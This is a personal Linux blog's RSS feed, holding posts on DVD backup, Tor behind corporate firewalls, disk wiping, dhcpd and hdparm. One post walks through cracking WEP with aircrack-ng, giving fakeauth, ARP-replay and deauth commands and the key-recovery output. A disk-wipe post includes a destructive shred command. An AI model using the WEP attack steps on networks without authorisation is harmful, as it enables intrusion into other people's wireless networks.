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<channel>
	<title>the new cube 2.0 &#187; Linux</title>
	<atom:link href="http://jiehong.org/blog/category/technical/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://jiehong.org/blog</link>
	<description>the new cube 2.0</description>
	<lastBuildDate>Sat, 21 Jan 2012 17:43:20 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
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		<item>
		<title>To backup a Non-Data DVD</title>
		<link>http://jiehong.org/blog/2008/01/08/to-backup-a-non-data-dvd/</link>
		<comments>http://jiehong.org/blog/2008/01/08/to-backup-a-non-data-dvd/#comments</comments>
		<pubDate>Tue, 08 Jan 2008 12:46:54 +0000</pubDate>
		<dc:creator>jiehong</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Technical]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[dvd]]></category>

		<guid isPermaLink="false">http://jiehong.org/blog/2008/01/08/to-backup-a-non-data-dvd/</guid>
		<description><![CDATA[Well, if you have some DVDs that you will like to backup, here are the steps to do it. Note: For non-encrypted DVDs, meaning like personal home videos, non-commerical created DVDs, etc.. Step 1: dvdbackup -M -i /dev/dvd -o ./outputdir/ -M tells it to make a full backup, there are other parameters to backup selective [...]]]></description>
			<content:encoded><![CDATA[<p>Well, if you have some DVDs that you will like to backup, here are the steps to do it.</p>
<p>Note: For non-encrypted DVDs, meaning like personal home videos, non-commerical created DVDs, etc.. <img src='http://jiehong.org/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Step 1:</p>
<p>dvdbackup -M -i /dev/dvd -o ./outputdir/</p>
<p>-M tells it to make a full backup, there are other parameters to backup selective chapters.</p>
<p>dvdbackup will create the DVD folder structure under ./outputdir/&lt;volume-name&gt;</p>
<p>Step 2:</p>
<p>mkisofs -dvd-video -o dvd.iso ./outputdir/&lt;volume-name&gt;</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Quick way to upgrade aircrack-ng in BackTrack</title>
		<link>http://jiehong.org/blog/2008/01/03/a-very-quick-way-to-upgrade-aircrack-ng-in-back-track-2/</link>
		<comments>http://jiehong.org/blog/2008/01/03/a-very-quick-way-to-upgrade-aircrack-ng-in-back-track-2/#comments</comments>
		<pubDate>Wed, 02 Jan 2008 17:12:16 +0000</pubDate>
		<dc:creator>jiehong</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Technical]]></category>
		<category><![CDATA[aircrack]]></category>

		<guid isPermaLink="false">http://jiehong.org/blog/2008/01/03/a-very-quick-way-to-upgrade-aircrack-ng-in-back-track-2/</guid>
		<description><![CDATA[If you installed Back Track 2 into your hdd and if you want to update the aircrack-ng suite, here&#8217;s the commands to do so. Download the source here. tar -zxvf aircrack-ng-0.9.1.tar.gz cd aircrack-ng-0.9.1 make make -B install make install will throw out some errors, so just do it with a &#8220;-B&#8221; -B, &#8211;always-make Unconditionally make [...]]]></description>
			<content:encoded><![CDATA[<p>If you installed Back Track 2 into your hdd and if you want to update the aircrack-ng suite, here&#8217;s the commands to do so.</p>
<p><span id="more-86"></span><br />
Download the source <a href="http://download.aircrack-ng.org/aircrack-ng-0.9.1.tar.gz" target="_blank">here</a>.</p>
<p>tar -zxvf aircrack-ng-0.9.1.tar.gz<br />
cd aircrack-ng-0.9.1<br />
make<br />
make -B install</p>
<p>make install will throw out some errors, so just do it with a &#8220;-B&#8221;</p>
<p>-B, &#8211;always-make            Unconditionally make all targets.</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Yet another aircrack-ng guide</title>
		<link>http://jiehong.org/blog/2007/12/28/yet-another-aircrack-ng-guide/</link>
		<comments>http://jiehong.org/blog/2007/12/28/yet-another-aircrack-ng-guide/#comments</comments>
		<pubDate>Thu, 27 Dec 2007 18:25:01 +0000</pubDate>
		<dc:creator>jiehong</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Technical]]></category>
		<category><![CDATA[aircrack]]></category>
		<category><![CDATA[crack]]></category>
		<category><![CDATA[linksys]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[wusb54gc]]></category>

		<guid isPermaLink="false">http://jiehong.org/blog/2007/12/28/yet-another-aircrack-ng-guide/</guid>
		<description><![CDATA[I managed to get hold of a Linksys WUSB54GC USB wireless-g adapter and a burnt copy of Backtrack 2 with Aircrack-ng. So let&#8217;s get started then..Back Track 2 loaded with the rt73 drivers. The following commands is to get your WUSB54GC dongle into the monitor/injection mode. &#8220;ifconfig rausb0 up&#8221; &#8220;iwconfig rausb0 mode monitor channel 1 [...]]]></description>
			<content:encoded><![CDATA[<p>I managed to get hold of a Linksys WUSB54GC USB wireless-g adapter and a burnt copy of Backtrack 2 with <a title="Aircrack-ng" href="http://www.aircrack-ng.org/" target="_blank">Aircrack-ng</a>.</p>
<p>So let&#8217;s get started then..Back Track 2 loaded with the rt73 drivers.</p>
<p>The following commands is to get your WUSB54GC dongle into the monitor/injection mode.</p>
<p>&#8220;ifconfig rausb0 up&#8221;</p>
<p>&#8220;iwconfig rausb0 mode monitor channel 1 rate 1M&#8221;</p>
<p>&#8220;iwpriv rausb0 forceprism 1&#8243;</p>
<p>&#8220;iwpriv rausb0 rfmontx 1&#8243;</p>
<p><span id="more-84"></span></p>
<p>I have yet to find out what those iwpriv does other than turning on some private IO controls within the card or drivers.</p>
<p>To verify that your card is ready for injecting, execute &#8220;aireplay-ng &#8211;test rausb0&#8243;</p>
<p>You should see the following:</p>
<p>Trying broadcast probe requests&#8230;<br />
Injection is working!<br />
Found 15 APs</p>
<p>Now we are ready, open the first console and execute the following command</p>
<p>&#8220;airodump-ng &#8211;ivs -w capture &#8211;encrypt wep -a rausb0&#8243;</p>
<p>and it  will return with a list of APs by BSSID, PWR, CH, ESSID and other interesting fields and data dumped to a capture-0x.ivs</p>
<p>Once you have determine your target, you may want to re-run airodump and filter by the BSSID or leave the command running to collect the IVs.</p>
<p>Next, we will execute a series of commands in different consoles together.</p>
<p>The fakeauth attack &#8220;aireplay-ng &#8211;fakeauth 10 -e MySSID -a 00:XX:XX:XX:XX:XX -h 00:11:22:33:44:55 rausb0&#8243;</p>
<p>You should see the following:</p>
<p>Waiting for beacon frame (BSSID: 00:XX:XX:XX:XX:XX)<br />
Sending Authentication Request<br />
Authentication successful<br />
Sending Association Request<br />
Association successful <img src='http://jiehong.org/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>The ARP replay attack &#8220;aireplay-ng &#8211;arpreplay -e &lt;ESSID&gt; -b &lt;BSSID&gt; -h 00:11:22:33:44:55 rausb0&#8243;</p>
<p>You should see the following:</p>
<p>Saving ARP requests in replay_arp-xxxxx.cap<br />
You should also start airodump-ng to capture replies.<br />
Read 53965 packets (got 31064 ARP requests), sent 48076 packets&#8230;(319 pps)</p>
<p>Here&#8217;s the part where I don&#8217;t get it.</p>
<p>Sometimes you have to run a deauth attack to get some ARP packets coming, sometimes I don&#8217;t need to.</p>
<p>aireplay-ng &#8211;deauth 10 -e MySSID -a &lt;00:XX:XX:XX:XX:XX&gt; -h 00:11:22:33:44:55 rausb0</p>
<p>Finally after collecting about 100k for 64bit WEP till 500k for 128bit WEP of IV packets, you may execute &#8220;aircrack-ng -b 00:XX:XX:XX:XX:XX capture-0x.ivs&#8221;</p>
<p>You should see the following:</p>
<p>[00:00:00] Tested 1 keys (got 208713 IVs)</p>
<p>KB    depth   byte(vote)<br />
0    0/  1   XX(  XX) XX(  XX) XX(  XX) XX(  XX) XX(  XX) XX(  XX)</p>
<p>0    0/  2   XX(  XX) XX(  XX) XX(  XX) XX(  XX) XX(  XX) XX(  XX)</p>
<p>.</p>
<p>.</p>
<p>0    0/  5   XX(  XX) XX(  XX) XX(  XX) XX(  XX) XX(  XX) XX(  XX)</p>
<p>KEY FOUND! [ XX:XX:XX:XX:XX ]<br />
Decrypted correctly: 100%</p>
]]></content:encoded>
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		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>JanusVM &#8211; The Internet Privacy Appliance</title>
		<link>http://jiehong.org/blog/2007/10/08/janusvm-the-internet-privacy-appliance/</link>
		<comments>http://jiehong.org/blog/2007/10/08/janusvm-the-internet-privacy-appliance/#comments</comments>
		<pubDate>Mon, 08 Oct 2007 14:49:51 +0000</pubDate>
		<dc:creator>jiehong</dc:creator>
				<category><![CDATA[Firewall]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Technical]]></category>
		<category><![CDATA[janusvm]]></category>
		<category><![CDATA[privoxy]]></category>
		<category><![CDATA[tor]]></category>
		<category><![CDATA[vmware]]></category>

		<guid isPermaLink="false">http://www.jiehong.org/blog/2007/10/08/janusvm-the-internet-privacy-appliance/</guid>
		<description><![CDATA[I was trying out JanusVM in my VMware server. It&#8217;s a linux based OS with this few key components, openVPN, Squid, privoxy and Tor, packaged neatly into a VMware &#8220;appliance&#8221;. Basically it provides a layer of security and privacy for most TCP based applications, like IM, web browsing, etc, even DNS requests are passed through [...]]]></description>
			<content:encoded><![CDATA[<p>I was trying out <a href="http://janusvm.peertech.org/" target="_blank">JanusVM</a> in my VMware server.  It&#8217;s a linux based OS with this few key components, <a href="http://openvpn.net/" target="_blank">openVPN</a>, <a href="http://www.squid-cache.org/" target="_blank">Squid</a>, <a href="http://www.privoxy.org/" target="_blank">privoxy</a> and <a href="http://tor.eff.org/">Tor</a>, packaged neatly into a VMware &#8220;appliance&#8221;.</p>
<p>Basically it provides a layer of security and privacy for most TCP based applications, like IM, web browsing, etc, even DNS requests are passed through Tor. Most importantly, it provides you with access to sites that are filtered off by your ISP transparent proxies.</p>
<p><span id="more-80"></span></p>
<p><a href="http://tor.eff.org/" target="_blank">Tor</a> allows your traffic to be re-route all around the internet anonymously via a complex network of virtual tunnels. An overview of Tor can be found <a href="http://tor.eff.org/overview.html.en" target="_blank">here</a> and a detailed FAQ on Onion Routers <a href="http://wiki.noreply.org/noreply/TheOnionRouter/TorFAQ" target="_blank">here</a>.</p>
<p>My blog entry today is: how to enable your JanusVM to work in a corporate network whereby your firewall blocks most of the outgoing ports except http and https.</p>
<p>You can tell Tor to only use the ports that your firewall permits by adding the following to your torrc configuration file.</p>
<blockquote><p>FascistFirewall 1</p>
<p>ReachableDirAddresses *:80<br />
ReachableORAddresses *:443</p></blockquote>
<p>Update:</p>
<p>The latest beta version of Tor uses the following instead of the above</p>
<p>ReachableAddresses *:80</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Eye Candy that blows Aero away</title>
		<link>http://jiehong.org/blog/2006/11/22/eye-candy-that-blows-aero-away/</link>
		<comments>http://jiehong.org/blog/2006/11/22/eye-candy-that-blows-aero-away/#comments</comments>
		<pubDate>Wed, 22 Nov 2006 15:51:42 +0000</pubDate>
		<dc:creator>jiehong</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jiehong.org/blog/2006/11/22/eye-candy-that-blows-aero-away/</guid>
		<description><![CDATA[Check out this screen video capture. Beryl+Kiba Pure eye candy. 1 more reason to move to open source.]]></description>
			<content:encoded><![CDATA[<p>Check out this screen video capture. <a target="_blank" href="http://www.youtube.com/watch?v=TYJ0reIdzas">Beryl+Kiba</a> Pure eye candy.</p>
<p>1 more reason to move to open source.</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeNAS, powered by FreeBSD</title>
		<link>http://jiehong.org/blog/2006/05/31/freenas-powered-by-freebsd/</link>
		<comments>http://jiehong.org/blog/2006/05/31/freenas-powered-by-freebsd/#comments</comments>
		<pubDate>Wed, 31 May 2006 01:14:16 +0000</pubDate>
		<dc:creator>jiehong</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jiehong.org/blog/2006/05/31/freenas-powered-by-freebsd/</guid>
		<description><![CDATA[FreeNAS is a free NAS server. Install on any x86 pc and convert it to a NAS serving CIFS (samba), FTP, NFS, RSYNC protocols. Software RAID is supported at the following levels, 0, 1, 5. All configuration is done through the web interface. Maybe I can put my old dual P3 system to good use.]]></description>
			<content:encoded><![CDATA[<p><a target="_blank" href="http://www.freenas.org/">FreeNAS</a> is a free NAS server. Install on any x86 pc and convert it to a NAS serving CIFS (samba), FTP, NFS, RSYNC protocols.</p>
<p>Software RAID is supported at the following levels, 0, 1, 5. All configuration is done through the web interface.</p>
<p>Maybe I can put my old dual P3 system to good use.</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Crashed IDE Harddisk, Low Level Formating, Secure Harddisk Wipe/Shred</title>
		<link>http://jiehong.org/blog/2006/04/24/crashed-ide-harddisk-low-level-formating-secure-harddisk-wipeshred/</link>
		<comments>http://jiehong.org/blog/2006/04/24/crashed-ide-harddisk-low-level-formating-secure-harddisk-wipeshred/#comments</comments>
		<pubDate>Mon, 24 Apr 2006 00:34:17 +0000</pubDate>
		<dc:creator>jiehong</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Systems]]></category>
		<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jiehong.org/blog/2006/04/24/crashed-ide-harddisk-low-level-formating-secure-harddisk-wipeshred/</guid>
		<description><![CDATA[When I plugged in my USB harddisk to my PC, to my horror, I started to hear some kind of clicking sound and the harddisk is trying to spin up and stop repeatively. So I looked at my system&#8217;s dmesg messages and realised my HDD is a goner. My OS is unable to mount the [...]]]></description>
			<content:encoded><![CDATA[<p>When I plugged in my USB harddisk to my PC, to my horror, I started to hear some kind of clicking sound and the harddisk is trying to spin up and stop repeatively.</p>
<p>So I looked at my system&#8217;s dmesg messages and realised my HDD is a goner. My OS is unable to mount the vfat partition.</p>
<p>Remove the 2.5in harddisk from my USB casing and connected it back into my IBM X21, inserted an Ubuntu 5.10 LiveCD. Once Gnome desktop came up, I tried to mount the partition again, this time is successful !</p>
<p>I managed to save most of my data except 2 ISO files which I suspected they are residing on the harddisk bad sectors. I ran the harddisk diagnostic tool, guess what, bad blocks were detected.<br />
Googled around and found a <a target="_blank" href="http://www.ariolic.com/activesmart/low-level-format.html">site</a> with most of the different harddisk vendors&#8217; Low Level Formatting tools. At the same time, I decided to &#8220;nuke&#8221; my harddisk.</p>
<p><span id="more-24"></span><br />
<a target="_blank" href="http://dban.sourceforge.net/">Darik&#8217;s Boot and Nuke</a> Create the floppy boot disk, boot, select your harddisk, select desired drive wiping routines, Nuke it !</p>
<p>Supported Wipe Methods</p>
<p>Quick Erase<br />
Canadian RCMP TSSIT OPS-II Standard Wipe<br />
American DoD 5220-22.M Standard Wipe<br />
Gutmann Wipe<br />
PRNG Stream Wipe</p>
<p>Most Linux distro comes with shred as well, most Live CDs will have them.<br />
# shred -n 2 -z -v /dev/hda1<br />
-n : to overwrite N times instead of the default (25)<br />
-z : To write with zeros</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Getting VMware modules to compile in Ubuntu Breezy</title>
		<link>http://jiehong.org/blog/2005/12/27/getting-vmware-modules-to-compile-in-ubuntu-breezy/</link>
		<comments>http://jiehong.org/blog/2005/12/27/getting-vmware-modules-to-compile-in-ubuntu-breezy/#comments</comments>
		<pubDate>Mon, 26 Dec 2005 16:00:13 +0000</pubDate>
		<dc:creator>jiehong</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jiehong.org/blog/2005/12/27/getting-vmware-modules-to-compile-in-ubuntu-breezy/</guid>
		<description><![CDATA[CC=gcc-3.4 /usr/bin/vmware-config.pl Of coz, Install GCC 3.4 first.]]></description>
			<content:encoded><![CDATA[<p>CC=gcc-3.4 /usr/bin/vmware-config.pl</p>
<p>Of coz, Install GCC 3.4 first.</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>webmin &amp; DHCPD</title>
		<link>http://jiehong.org/blog/2005/11/11/webmin-dhcpd/</link>
		<comments>http://jiehong.org/blog/2005/11/11/webmin-dhcpd/#comments</comments>
		<pubDate>Thu, 10 Nov 2005 16:00:31 +0000</pubDate>
		<dc:creator>jiehong</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jiehong.org/blog/2005/11/11/webmin-dhcpd/</guid>
		<description><![CDATA[Finally, I got both my boxes fixed. So I was happily connecting them together with a SC cable&#8230;. yah yah.. It&#8217;s only 15cm apart but still it&#8217;s a 1Gbps Fibre Channel link I decided to use dhcp for that link, since I haven&#8217;t tried configuring dhcpd before. After configuring dhcpd on webmin, I tried starting [...]]]></description>
			<content:encoded><![CDATA[<p>Finally, I got both my boxes fixed. So I was happily connecting them together with a SC cable&#8230;. yah yah.. It&#8217;s only 15cm apart but still it&#8217;s a 1Gbps Fibre Channel link <img src='http://jiehong.org/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>I decided to use dhcp for that link, since I haven&#8217;t tried configuring dhcpd before.</p>
<p>After configuring dhcpd on webmin, I tried starting it. The button still shows &#8220;Start Server&#8221;.</p>
<p>syslog presents:<br />
Nov  9 19:53:24 localhost dhcpd: No subnet declaration for eth0 (10.x.x.x).<br />
Nov  9 19:53:24 localhost dhcpd: Please write a subnet declaration in your dhcpd.conf file for the<br />
Nov  9 19:53:24 localhost dhcpd: network segment to which interface eth0 is attached.<br />
Nov  9 19:53:24 localhost dhcpd: exiting.</p>
<p>wtf, I actually configured for eth3 in the options. So i check /etc/dhcpd.conf, no mention of eth0. Got more pissed after starting the server several times, then I checked /etc/init.d/dhcp..</p>
<p>#Defaults<br />
INTERFACES=&#8221;eth0&#8243;</p>
<p>So, ok. now I know the reason, changed it.. SAME ERROR !<br />
This time i saw /etc/defaults/dhcp, added INTERFACES=&#8221;eth3&#8243;</p>
<p>Now it works. Installing Ubuntu on my 2nd box..</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
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		<item>
		<title>Enabling DMA with hdparm for Ubuntu</title>
		<link>http://jiehong.org/blog/2005/11/04/enabling-dma-with-hdparm-for-ubuntu/</link>
		<comments>http://jiehong.org/blog/2005/11/04/enabling-dma-with-hdparm-for-ubuntu/#comments</comments>
		<pubDate>Thu, 03 Nov 2005 16:00:28 +0000</pubDate>
		<dc:creator>jiehong</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Technical]]></category>

		<guid isPermaLink="false">http://jiehong.org/blog/2005/11/04/enabling-dma-with-hdparm-for-ubuntu/</guid>
		<description><![CDATA[With reference to the wiki at ubuntu.com, Edit /etc/modules: For an intel cpu put the lines piix ide-core above the line ide-cd For an amd cpu put the line amd74xx above ide-cd For a VIA Chipset put via82cxxx above ide-cd my hdparm parameters hdparm -c1 -d1 -X70 /dev/hda -c1 enables 32bit IO -d1 enables DMA [...]]]></description>
			<content:encoded><![CDATA[<p>With reference to the <a href="https://wiki.ubuntu.com/DMA">wiki</a> at ubuntu.com,</p>
<p>Edit /etc/modules:</p>
<p>For an intel cpu put the lines<br />
piix<br />
ide-core<br />
above the line ide-cd</p>
<p>For an amd cpu put the line<br />
amd74xx<br />
above ide-cd</p>
<p>For a VIA Chipset put<br />
via82cxxx<br />
above ide-cd</p>
<p>my hdparm parameters</p>
<p>hdparm -c1 -d1 -X70 /dev/hda<br />
-c1 enables 32bit IO<br />
-d1 enables DMA<br />
-X70 sets DMA to UDMA6</p>
<p>that&#8217;s all folks.</p>
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